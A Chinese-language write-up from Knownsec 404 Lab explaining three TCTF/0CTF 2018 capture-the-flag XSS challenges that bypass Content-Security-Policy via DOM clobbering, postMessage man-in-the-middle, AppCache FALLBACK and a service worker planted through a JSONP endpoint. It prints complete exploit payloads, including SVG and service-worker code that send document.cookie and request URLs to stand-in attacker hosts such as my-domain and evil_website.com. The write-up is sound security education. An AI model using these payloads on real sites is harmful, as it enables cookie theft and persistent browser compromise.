作者:LoRexxar'@知道創宇404實驗室

剛剛4月過去的TCTF/0CTF2018一如既往的給了我們驚喜,其中最大的驚喜莫過于多道xss中Bypass CSP的題目,其中有很多應用于現代網站的防御思路。

其中bl0g提及了通過變量覆蓋來調用已有代碼動態插入Script標簽繞過strict-dynamicCSP的利用方式。

h4xors.club2則是通過Script Gadgets和postmessage中間人來實現利用。

h4x0rs.space提及了Appcache以及Service worker配合jsonp接口實現的利用思路。

其中的很多利用思路非常精巧,值得研究。所以我花費了大量時間復現其中題目的思路以及環境,希望能給讀者帶來更多東西...

bl0g

題目分析

An extremely secure blog

Just focus on the static files. plz do not use any scanner, or your IP will be blocked.

很有趣的題目,整個題的難點在于利用上

站內的功能都是比較常見的xss功能

  1. new 新生成文章
  2. article/xx 查看文章/評論
  3. submit 提交url (start with http://202.120.7.197:8090/)
  4. flag admin可以查看到正確的flag

還有一些隱藏的條件

1、CSP

Content-Security-Policy:
script-src 'self' 'unsafe-inline'

Content-Security-Policy:
default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

挺有趣的寫法,經過我的測試,兩個CSP分開寫,是同時生效并且單獨生效的,也就是與的關系。

換個說法就是,假設我們通過動態生成script標簽的方式,成功繞過了第二個CSP,但我們引入了<script src="hacker.website">,就會被第一條CSP攔截,很有趣的技巧。

從CSP我們也可以簡單窺得一些利用思路,base-uri 'none'代表我們沒辦法通過修改根域來實現攻擊,default-src 'none'這其中包含了frame-src,這代表攻擊方式一定在站內實現,script-src的雙限制代表我們只能通過<script>{eval_code}的方式來實現攻擊,讓我們接著往下看。

2、new中有一個字段是effect,是設置特效的

POST /new HTTP/1.1
Host: 202.120.7.197:8090
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Origin: http://202.120.7.197:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://202.120.7.197:8090/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h

title=a&content=a&effect=nest

effect字段會插入到頁面中的<input type="hidden" id="effect" value="{effect_value}">,但這里實際上是沒有任何過濾的,也就是說我們可以通過閉合這個標簽并插入我們想要的標簽,需要注意的是,這個點只能插入70個字符

3、login?next=這個點可以存在一個任意跳轉,通過這個點,我們可以繞過submit的限制(submit的maxlength是前臺限制,可以隨便跳轉

4、站內的特效是通過jqery的append引入的,在article.js這個文件中。

$(document).ready(function(){
    $("body").append((effects[$("#effect").val()]));
});

effects在config.js中被定義。

回顧上面的幾個條件,我們可以簡單的整理思路。

在不考慮0day的情況下,我們唯有通過想辦法通過動態生成script標簽,通過sd CSP這個點來繞過

首先我們觀察xss點周圍的html結構

在整站不開啟任何緩存的情況下,通過插入標簽的方式,唯一存在一種繞過方式就是插入<script a="

這種插入方式,如果插入點在一個原頁面的script標簽前的話,有幾率吃掉下一個script標簽的nonce屬性,舉個例子:

<script a="
<script nonce="testtt">...

瀏覽器有一定的容錯能力,他會補足不完整的標簽
=====>

<script a="<script" nonce="test">...

但這個操作在這里并不適用,因為中間過多無用標簽,再加上即使吞了也不能有什么辦法控制后面的內容,所以這里只有一種繞過方式就是dom xss。

稍微翻翻可以發現,唯一的機會就在這里

$(document).ready(function(){
    $("body").append((effects[$("#effect").val()]));
});

如果我們可以覆蓋effects變量,那我們就可以向body注入標簽了,這里需要一點小trick。

在js中,對于特定的form,iframe,applet,embed,object,img標簽,我們可以通過設置id或者name來使得通過id或name獲取標簽

也就是說,我們可以通過effects獲取到<form name=effects>這個標簽。同理,我們就可以通過插入這個標簽來注冊effects這個變量。

可如果我們嘗試插入這個標簽后,我們發現插入的effects在接下來的config.js中被覆蓋了。

這時候我們回到剛才提到的特性,瀏覽器有一定的容錯能力,我們可以通過插入<script>,那么這個標簽會自動閉合后面config.js的</script>,那么中間的代碼就會被視為js代碼,被CSP攔截。

我們成功的覆蓋了effects變量,緊接著我們需要覆蓋effects[$("#effect").val()],這里我們選擇id屬性(這里其實是為了id會使用兩次,可以更省位數),

所以我們嘗試傳入

effect=id"><form name=effects id="<script>alert(1)</script>"><script>

成功執行

接下來的問題就在于怎么構造獲取flag了,這里最大的問題在于怎么解決位數不夠的問題,我們可以簡單計算一下。

上面的payload最簡化可以是

id"><form name=effects id="<script>"><script>

一共有45位,我們可以操作的位數只有25位。在有限的位數下我們需要獲取flag頁面的內容,并返回回來,我一時間沒想到什么好辦法。

下面寫一種來自@超威藍貓的解法,非常有趣的思路,payload大概是這樣的

https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

通過jquery get獲取flag內容,通過箭頭函數將返回賦值給window.name,緊接著,我們需要想辦法獲取這里的window.name。

這里用到一個特殊的跨域操作

http://www.cnblogs.com/zichi/p/4620656.html

這里用到了一個特殊的特性,就是window.name不跟隨域變化而變化,通過window.name我們可以緩存原本的數據。

利用思路

完整payload

<html>
</html>

<script>
var i=document.createElement("iframe");
i.src="http://202.120.7.197:8090/article/3503";
i.id="a";
var state = 0;
document.body.appendChild(i);

i.onload = function (){
    if(state === 1) {
        var c = i.contentWindow.name;
            location.href="http://xx?c="+c;

    } else if(state === 0) {
        state = 1;
        i.contentWindow.location = './index.html';
    }
}

</script>

然后通過login?next=這里來跳轉到這里,成功理順

最后分享一個本環境受限的腦洞想法(我覺得蠻有意思的

這個思路受限于當前頁面CSP沒有unsafe-eval,剛才說到window.name不隨域變化而變化,那么我們傳入payload

id"><form name=effects id="<script>eval(name)"><script>

然后在自己的服務器上設置

<script>
window.name="alert(1)";
location.href="{article_url}";
</script>

這樣我們就能設置window.name了,如果允許eval的話,就可以通過這種方式繞過長度限制。

h4xors.club2

一個非常有意思的題目,做這題的時候有一點兒鉆牛角尖了,后面想來有挺多有意思的點。先分享一個非常秀的非預期解wp。

http://www.wupco.cn/?p=4408&from=timeline

在分享一個寫的比較詳細的正解

https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed

下面順著思路一起來看看這題。

題目分析

Get document .cookie of the administartor.
h4x0rs.club
backend_www got backup at /var/www/html.tar.gz   這個從頭到尾都沒找到

Hint: Get open-redirect first, lead admin to the w0rld!

站內差不多是一個答題站點,用了比較多的第三方庫,站內的功能比較有限。

  1. profile.php可以修改自己個人信息
  2. user.php/{id}可以訪問自己的個人信息
  3. report.php沒什么可說的,向后臺發送請求,需要注意的是,直接發送user.php,不能控制
  4. index.php接受msg參數

還有一些特別的點

1、user.php頁面的CSP為

Content-Security-Policy:default-src 'none'; img-src * data: ; script-src 'nonce-c8ebe81fcdccc3ac7833372f4a91fb90'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;

非常嚴格,只允許nonce CSP的script解析

index.php頁面的CSP為

Content-Security-Policy:script-src 'nonce-120bad5af0beb6b93aab418bead3d9ab' 'strict-dynamic';

允許sd CSP動態執行script(這里的出發點可能是index.php是加載游戲的地方,為了適應CSP,必須加入strict-dynamic。)

2、站內有兩個xss點

第一個是user.php的profile,儲存型xss,沒有任何過濾。

第二個是index.php的msg參數,反射性xss,沒有任何過濾,但是受限于xss auditor

順著思路向下

因為user.php頁面的CSP非常嚴格,我們需要跳出這個嚴格的地方,于是可以通過插入meta標簽,跳轉到index.php,在這里進一步操作

<meta http-equiv="refresh" content="5;https://h4x0rs.club/game/?msg=Welcome">

當然這里我們也可以利用儲存型xss和頁面內的一段js來構造a標簽跳轉。

在user.php的查看profile頁面,我們可以看到

if(location.hash.slice(1) == 'report'){
    document.getElementById('report-btn').click();
}

當我們插入

<a href='//xxx.xx/evil.html' id=report-btn>

并請求

/game/user.php/ddog%23report

那么這里的a標簽就會被點擊,同樣可以實現跳轉。

接著我們探究index.php,這里我們的目標就是怎么能夠繞過sd CSP了,當時的第一個想法是<base>,通過修改當前頁面的根域,我們可以加載其他域的js(聽起來很棒!

可惜如果我們請求

https://h4x0rs.club/game/?msg=<base href="http://xxxx">

會被xss auditor攔截,最后面沒辦法加/">,一個非常有趣的情況出現了

https://h4x0rs.club/game/?msg=%3Cbase%20href=%22http://115.28.78.16

最后的</h1>中的/被轉換成了路徑,前面的左尖括號被拼入了域名中,后面的右尖括號閉合標簽...一波神奇的操作...

不過這里因為沒法處理尖括號域名的事情,所以置于后話不談。

我們繼續討論繞過sd CSP的思路,這種CSP已知只有一種辦法,就是通過現在已有的js代碼構造xss,這是一種在去年blackhat大會上google團隊公布的CSP Bypass技巧,叫做Script Gadgets。

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

這里的漏洞點和ppt中的思路不完全一致,但核心思路一樣,都是要利用已有js代碼中的一些點來構造利用。

站內關于游戲的代碼在app.js中的最下面,加載了client.js

function load_clientjs(){
    var s = document.createElement('script');
    document.body.appendChild(s);
    s.defer = true;
    s.src = '/game/javascripts/client.js';
}

client.js中的代碼不多,有一些值得注意的點,就是客戶端是通過postMessage和服務端交互的。

而且所有的交互都沒有對來源的校驗,也就是可以接受任何域的請求。

ps: 這是一個呆子不開口在2016年烏云峰會上提到的攻擊手法,通過postMessage來偽造請求

這樣我們可以使用iframe標簽來向beckend頁面發送請求,通過這種方式來控制返回的消息。

這里我盜用了一張別的wp中的圖,來更好的描述這種手法

原圖來自https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club

這里我們的exploit.html充當了中間人的決賽,代替客戶端向服務端發送請求,來獲取想要的返回

這里我們可以關注一下client.js中的recvmsg

如果我們能控制data.title,通過這里的dom xss,我們可以成功的繞過index.php下的sd CSP限制。

值得注意的是,如果我們試圖通過index.php頁面的反射性xss來引入iframe標簽的話,如果iframe標簽中的鏈接是外域,會被xss auditor攔截。

所以這里需要用user.php的儲存型xss跳出。這樣利用鏈比較完整了。

利用思路

1、首先我們需要注冊兩個賬號,這里使用ddog123和ddog321兩個賬號。

2、在ddog321賬號中設置profile公開,并設置內容為

<meta http-equiv="refresh" content="0;https://evil_website.com">

3、在evil_website.com(這里有個很關鍵的tips,這里只能使用https站,否則會爆引入混合數據,阻止訪問)的index.html向backend發送請求,這里的js需要設置ping和badges,在badges中設置title來引入js

<iframe name=game src='//backend.h4x0rs.club/backend_www/'></iframe>

<script>
window.addEventListener("message", receiveMessage, false);
var TOKEN,nonce;
function receiveMessage(event)
{
console.log("msg");
data = event.data;
if(data.cmd =='ping'){
    TOKEN = data.TOKEN;
    nonce = data.nonce;
    game.postMessage(data,"*");
}
if(data.cmd =='badges'){
    console.log('badges');
    console.log(data);
    TOKEN = data.TOKEN;
    data.level = 1;
    data.title = '\'"><script src="//evil_website.com/1.js" defer></scr'+'ipt>';
    console.log(data.title);
    // data.title = '\'"><meta http-equiv="set-cookie" content="HolidayGlaze=123;">';
    game.postMessage(data,"*");
}
}

4、在ddog123賬戶中設置profile為

<meta http-equiv="refresh" content="0;https://h4x0rs.club/game/?msg=1%3Ciframe%20name=game_server%20src=/game/user.php/ddog321%20%3E%3C/iframe%3E">

5、最后在1.js中加入利用代碼,發送report給后臺等待返回即可。

h4x0rs.space

TCTF/0CTF中的壓軸題目,整個題目的利用思路都是近幾年才被人們提出來的,這次比賽我也是第一次遇到環境,其中關于Appcache以及Service Worker的利用方式非常有趣,能在特殊環境下起到意想不到的作用。

下面的Writeup主要來自于

https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803

題目分析

I've made a blog platform let you write your secret. 
Nobody can know it since I enabled all of modern web security mechanism, is it cool, huh?

Get document. cookie of the admin.

h4x0rs.space

Hint: Every bug you found has a reason, and you may want to check some uncommon HTML5 features Also notice that, the admin is using real browser, since I found out Headless is not much real-world. GL

Hint 2: W3C defines everything, but sometimes browser developers decided to implement in their way, get the same browser to admin and test everything on it.

Hint 3: Can you make "500 Internal Server Error" from a post /blog.php/{id} ? Make it fall, the good will come. And btw, you can solve without any automatic tool. Connect all the dots.

Last Hint: CACHE

先簡單說一下整個題目邏輯

1、站內是一個生成文章的網站,可以輸入title,content,然后可以上傳圖片,值得注意的是,這里的所有輸入都會被轉義,生成的文章內容不存在xss點。

2、站內開啟CSP,而且是比較嚴格的nonce CSP

Content-Security-Policy:
default-src none; frame-src https://h4x0rs.space/blog/untrusted_files/embed/embed.php https://www.google.com/recaptcha/; script-src 'nonce-05c13d07976dba84c4f29f4fd4921830'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src *; connect-src https://h4x0rs.space/blog/report.php;

3、文章內引入了類似短標簽的方式可以插入部分標簽,例如[img]test[/img]

值得注意的是這里有一個特例

case 'instagram':
    var dummy = document.createElement('div');
    dummy.innerHTML = `<iframe width="0" height="0" src="" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>`; // dummy object since f.frameborder=0 doesn't work.
    var f = dummy.firstElementChild;
    var base = 'https://h4x0rs.space/blog/untrusted_files/embed/embed.php';
    if(e['name'] == 'youtube'){
        f.width = 500;
        f.height = 330;
        f.src = base+'?embed='+found[1]+'&p=youtube';
    } else if(e['name'] == 'instagram') {
        f.width = 350;
        f.height = 420;
        f.src = base+'?embed='+found[1]+'&p=instagram';
    }
    var d_iframe = document.createElement('div');
    d_iframe.id = 'embed'+iframes_delayed.length; // loading iframe at same time may cause overload. delay it.
    iframes_delayed.push( document.createElement('div').appendChild(f).parentElement.innerHTML /* hotfix: to get iframe html  */ );
    o.innerHTML = o.innerHTML.replace( found[0], d_iframe.outerHTML );
    break;

如果插入[ig]123[/ig]就會被轉為引入https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram的iframe。

值得注意的是,embed.php中的embed這里存在反射性xss點,只要閉合注釋就可以插入標簽,遺憾的是這里仍然會被CSP限制。

https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--><script>alert()</script>&p=instagram

4、站內有一個jsonp的接口,但不能傳尖括號,后面的文章內容什么的也沒辦法逃逸雙引號。

https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d

5、圖片上傳的接口可以上傳SVG,圖片在站內同源,并且不受到CSP的限制,我們可以在SVG中執行js代碼,來繞過CSP,而重點就是,我們只能提交blog id,我們需要找到一個辦法來讓它執行。

AppCache 的利用

在提示中,我們很明顯可以看到cache這個提示,這里的提示其實是說,利用appcache來加載svg的方式。

在這之前,我們可能需要了解一下什么是Appcache。具體可以看這篇文章。

https://www.html5rocks.com/en/tutorials/appcache/beginner/

這是一種在數年前隨H5誕生的一種可以讓開發人員指定瀏覽器緩存哪些文件以供離線訪問,在緩存情況下,即使用戶在離線狀態刷新頁面也同樣不會影響訪問。

Appcache的開啟方法是在html標簽下添加manifest屬性

<html manifest="example.appcache">
  ...
</html>

這里的example.appcache可以是相對路徑也可以是絕對路徑,清單文件的結構大致如下:

CACHE MANIFEST
# 2010-06-18:v2

# Explicitly cached 'master entries'.
CACHE:
/favicon.ico
index.html
stylesheet.css
images/logo.png
scripts/main.js

# Resources that require the user to be online.
NETWORK:
login.php
/myapi
http://api.twitter.com

# static.html will be served if main.py is inaccessible
# offline.jpg will be served in place of all images in images/large/
# offline.html will be served in place of all other .html files
FALLBACK:
/main.py /static.html
images/large/ images/offline.jpg
*.html /offline.html

CACHE: 這是條目的默認部分。系統會在首次下載此標頭下列出的文件(或緊跟在 CACHE MANIFEST 后的文件)后顯式緩存這些文件。

NETWORK: 此部分下列出的文件是需要連接到服務器的白名單資源。無論用戶是否處于離線狀態,對這些資源的所有請求都會繞過緩存。可使用通配符。

FALLBACK: 此部分是可選的,用于指定無法訪問資源時的后備網頁。其中第一個 URI 代表資源,第二個代表后備網頁。兩個 URI 必須相關,并且必須與清單文件同源。可使用通配符。

這里有一點兒很重要,關于Appcache,您必須修改清單文件本身才能讓瀏覽器刷新緩存文件

去年@filedescriptor公開了一個利用Appache來攻擊沙箱域的方法。

https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=16

這里正是使用了Appcache的FALLBACK文件,我們可以通過上傳惡意的svg文件,形似

<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch(`https://my-domain/?${document.cookie}`)</script>
</svg>

然后將manifest設置為相對目錄的svg文件路徑,形似

 <!-- DEBUG 
embed_id: --><html manifest=/blog/untrusted_files/[SVG_MANIFEST].svg>
-->
...

在這種情況下,如果我們能觸發頁面500,那么頁面就會跳轉至FALLBACK指定頁面,我們成功引入了一個任意文件跳轉。

緊接著,我們需要通過引入[ig]a#[/ig],通過拼接url的方式,這里的#會使后面的&instagram無效,使頁面返回500錯誤,緩存就會將其引向FALLBACK設置頁面。

這里的payload形似

[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt]

[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]

這里之所以會引入多個a#是因為緩存中FALLBACK的加載時間可能慢于單個iframe的加載時間,所以需要引入多個,保證FALLBACK的生效。

最后發送文章id到后臺,瀏覽器訪問文章則會觸發下面的流程。

上面的文章會轉化為

<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>


<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=a#&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>

...

上面的iframe標簽會引入我們提前上傳好的manfiest文件

CACHE MANIFEST

FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

并將FALLBACK設置為/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

然后下面的iframe標簽會訪問/blog/untrusted_files/embed/embed.php?embed=a并處罰500錯誤,跳轉為提前設置好的svg頁面,成功逃逸CSP。

當我們第一次讀取到document.cookie時,返回為

OK! You got me... This is your reward: "flag{m0ar_featureS_" Wait, I wonder if you could hack my server. Okay, shall we play a game? I am going to check my secret blog post where you can find the rest of flag in next 5 seconds. If you know where I hide it, you win! Good luck. For briefly, I will open a new tab in my browser then go to my https://h4x0rs.space/blog.php/*secret_id* . You have to find where is it. 1...2...3...4..5... (Contact me @l4wio on IRC if you have a question)

大致意思是說,bot會在5秒后訪問flag頁面,我們需要獲取這個id。

Service Worker的利用

仔細回顧站內的功能,根據出題人的意思,這里會跳轉到形似https://h4x0rs.space/blog/[blog_post_id]的url,通過Appcache我們只能控制/blog/untrusted_files/這個目錄下的緩存,這里我們需要控制到另一個選項卡的狀態。

在不具有窗口引用辦法的情況下,這里只有使用Service Worker來做持久化利用。

關于Service Worker忽然發現以前很多人提到過,但好像一直都沒有被重視過。這種一種用來替代Appcache的離線緩存機制,他是基于Web Worker的事件驅動的,他的執行機制都是通過新啟動線程解決,比起Appcache來說,它可以針對同域下的整站生效,而且持續保存至瀏覽器重啟都可以重用。

下面是兩篇關于service worker的文檔:

https://developers.google.com/web/fundamentals/primers/service-workers/?hl=zh-cn

https://www.w3.org/TR/service-workers/

使用Service Worker有兩個條件:

1、Service Worker只生效于https://或者http://localhost/下 2、其次你需要瀏覽器支持,現在并不是所有的瀏覽器都支持Service Worker。

當我們滿足上述條件,并且有一個xss利用點時,我們可以嘗試構造一個持久化xss利用點,但在利用之前,我們需要更多條件。

1、如果我們使用navigator.serviceWorker.register來注冊js,那么這里請求的url必須同源而且請求文件返回頭必須為text/javascript, application/x-javascript, application/javascript中的一種。

2、假設站內使用onfetch接口獲取內容,我們可以通過hookfetch接口,控制返回來觸發持久化控制。

對于第一種情況來說,或許我們很難找到上傳js的接口,但不幸的是,jsonp接口剛好符合這樣的所有條件~~

具體的利用方式我會額外在寫文分析這個,詳情可以看這幾篇文章:

http://drops.xmd5.com/static/drops/web-10798.html

http://www.jmbmsq.com/177/

https://speakerdeck.com/masatokinugawa/pwa-study-sw

最后的這個ppt最詳細,但他是日語的,讀起來非常吃力。

這里回到題目,我們可以注意到站內剛好有一個jsonp接口

https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d

值得注意的是,這里的callback接口有字數限制,這里可以通過和title的配合,通過注釋來引入任何我們想要的字符串。

/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});

這里需要注意的是,在serviceWorker線程中,我們并不能獲取所有的對象,所以這里直接獲取當前請求的url。

完整的利用鏈如下:

1、將*/onfetch=e=>{fetch(https://my-domain/?${e.request.url})}//寫入文章內,并保留下文章id。

2、構造jsonp接口https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}

/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":"2018-04-03 12:32:00","image_type":""});

3、上傳svg,https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg

<svg xmlns="http://www.w3.org/2000/svg">
<script>navigator.serviceWorker.register('/blog/pad.php?callback=/*&amp;id={sw_post_id}')</script>
</svg>

4、構造manifest文件,https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg

CACHE MANIFEST

FALLBACK:
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg

5、構造embed頁面url

https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=/blog/untrusted_files/[SVG_MANIFEST_SW].svg%3E&p=youtube

6、最后構造利用文章內容

[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt]

[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]

7、發送post id即可

REF


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/574/